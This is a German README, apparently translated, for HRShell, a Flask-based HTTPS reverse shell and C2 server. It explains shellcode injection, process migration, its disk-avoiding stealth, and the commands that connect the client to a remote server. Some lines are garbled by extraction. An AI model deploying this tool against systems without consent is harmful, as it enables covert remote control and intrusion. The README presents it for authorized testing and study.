
HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit flask erstellt wurde. Es ist ein fortschrittlicher C2-Server mit vielen Features & Fähigkeiten.
HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit Flask erstellt wurde und mit Python 3.x kompatibel ist. Der client.py wurde erfolgreich getestet auf:
während der server.py mit Unix-Systemen kompatibel ist (Windows-Support in Kürze verfügbar...)
migrate <PID>) durch Angabe seiner PID
cd-Befehl und Varianten).history-Befehl auf Unix-Systemen verfügbar.download/upload/screenshot/hex-Befehle verfügbar.|) und verkettete Befehle (;) werden unterstützt*Für Versionsänderungen siehe CHANGELOG.
HRShell ist unauffällig, da es das HTTP(S)-Protokoll als Kommunikationsmethode zwischen Client und Server verwendet. Zusätzlich wird der Datenverkehr bei Verwendung von TLS verschlüsselt. Wenn das ZERTIFIKAT nicht clientseitig fest codiert ist (was eine praktikable Option ist) und der upload-Befehl nicht verwendet wird, dann berührt client.py die Festplatte überhaupt nicht.
Serverseitig:
Sofern nicht die Option --http angegeben wird, verwendet server.py standardmäßig HTTPS mit On-the-Fly-Zertifikaten, da On-the-Fly-Zertifikate eine integrierte Flask-Funktion sind. Wenn jedoch die Option -s tornado angegeben wird, um den Server zur Nutzung von TLS zu zwingen, müssen die Optionen --cert und --key wie folgt angegeben werden:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Es können entweder "echte" Zertifikate verwendet werden, oder eine andere Möglichkeit, ein Zertifikat/Schlüssel-Paar zu generieren, ist z.B. die Verwendung von mkcert oder direkt openssl wie folgt:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Ein Zertifikat/Schlüssel-Paar kann auch mit dem Flask-Server verwendet werden:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Wenn der Server TLS verwendet, kann der Client konstruktionsbedingt nicht
http://...verwenden, um eine Verbindung zum Server herzustellen, sondern muss stattdessen explizithttpsverwenden.
Clientseitig: Standardmäßig ist die SSL-Verifizierung des Clients deaktiviert, es sei denn:
--cert angegeben, z.B.:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT wird, anstatt des Standardwerts None, vorher mit einem gültigen Zertifikat gesetzt, z.B.:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
⚠️ Dass die SSL-Verifizierung standardmäßig auf dem Client deaktiviert ist, bedeutet keinesfalls, dass auch TLS deaktiviert ist. TLS wird aktiviert, wenn der Server es verwendet – TLS hängt also vollständig vom Server ab. Die Option
--certauf dem Client dient lediglich als alternative Möglichkeit, dass Server und Client eine verschlüsselte Sitzung haben, und das ist alles.
Es gibt zwei "Modi" der Shellcode-Injektion, die mit den folgenden beiden Befehlen durchgeführt werden:
migrate <PID>: Mit diesem Befehl können wir Shellcode in den Speicherbereich eines anderen Prozesses injizieren, indem wir seine PID angeben. Derzeit kann dieser Befehl nur auf Windows x86/x64-Plattformen angewendet werden!
inject shellcode: Mit diesem Befehl wird ein neuer Thread (oder ein erzeugter Prozess auf Unix-Systemen) unseres aktuellen Prozesses erstellt und die Shellcode-Injektion erfolgt in dessen Speicherbereich. Dadurch wird unsere HTTP(S)-Shell nicht von der Injektion beeinträchtigt. Die Plattformen, auf denen dieser Befehl angewendet werden kann, sind: Unix x86/x64, Windows x86-Plattformen!
Es gibt zwei Möglichkeiten, den Typ des Shellcodes anzugeben/festzulegen, den der Client ausführen soll:
shellcode im Skript client.py vorher auf einen gültigen Shellcode setzen oderset shellcode <shellcode-id> verwenden, um dies spontan zu tun. Mit diesem Befehl können Sie Ihren Shellcode clientseitig von der Serverseite aus so oft aktualisieren, wie Sie möchten!
Der erste Weg ist ziemlich einfach. Um jedoch den zweiten und bequemeren Weg zu nutzen (da Sie auch einen bereits festgelegten Shellcode ändern können), müssen Sie das Skript shellcodes/utils.py so einrichten, dass es den/die von Ihnen gewählten Shellcode(s) enthält. Das Skript enthält ein Beispiel, wie Sie das tun können.
💡 Sie können das Skript
shellcodes/utils.pyauch nach dem Start vonserver.pybeliebig oft ändern/aktualisieren, daserver.pydynamisch die aktuellste/neueste Version verwendet. Auf diese Weise können Sie Shellcodes spontan setzen und ändern...
Spezielle Befehle:
Jeder andere Befehl wird unterstützt, wenn er nicht interaktiv ist, wie z.B. gdb, top usw... Durch Eingabe von python server.py -h oder python client.py -h erhalten Sie außerdem Informationen über die verfügbaren Argumente des Servers und Clients.
Hinweis: Wenn ein Client mit dem Server verbunden ist und wir den Server beenden möchten, müssen wir vor dem Drücken von STRG+C die Verbindung mit dem Befehl exit schließen.
Clientseitig:
Um einen benutzerdefinierten Befehl zu erstellen, gilt allgemein:
elif-Anweisung hinzugefügt werden.Serverseitig:
Wenn der Befehl die Existenz eines neuen Endpunkts auf der Serverseite erfordert, dann:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET(), um den Client zu diesem Endpunkt umzuleiten:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() vor, um die Darstellung der Ergebnisse zu handhaben.Beide Skripte (server.py und client.py) können über Argumente angepasst werden:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
Um die Server-Voraussetzungen zu installieren:
pip install -r requirements.txt --upgrade --user
Feedback und Beiträge sind willkommen. Wenn Sie einen Fehler finden oder einen Funktionswunsch haben, können Sie gerne ein Issue eröffnen, und sobald ich es überprüft habe, werde ich versuchen, es zu beheben.
Dieses Tool dient nur zu Test- und Studienzwecken und darf nur verwendet werden, wenn eine ausdrückliche Zustimmung vorliegt. Verwenden Sie es nicht für illegale Zwecke! Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool und die Software im Allgemeinen verursacht werden.
hexdump-Funktion des Clients stammt aus diesem großartigen Gist.Dieses Projekt ist unter der GPLv3-Lizenz lizenziert – siehe die Datei LICENSE für Details.
server.py als auch client.py sind leicht erweiterbar.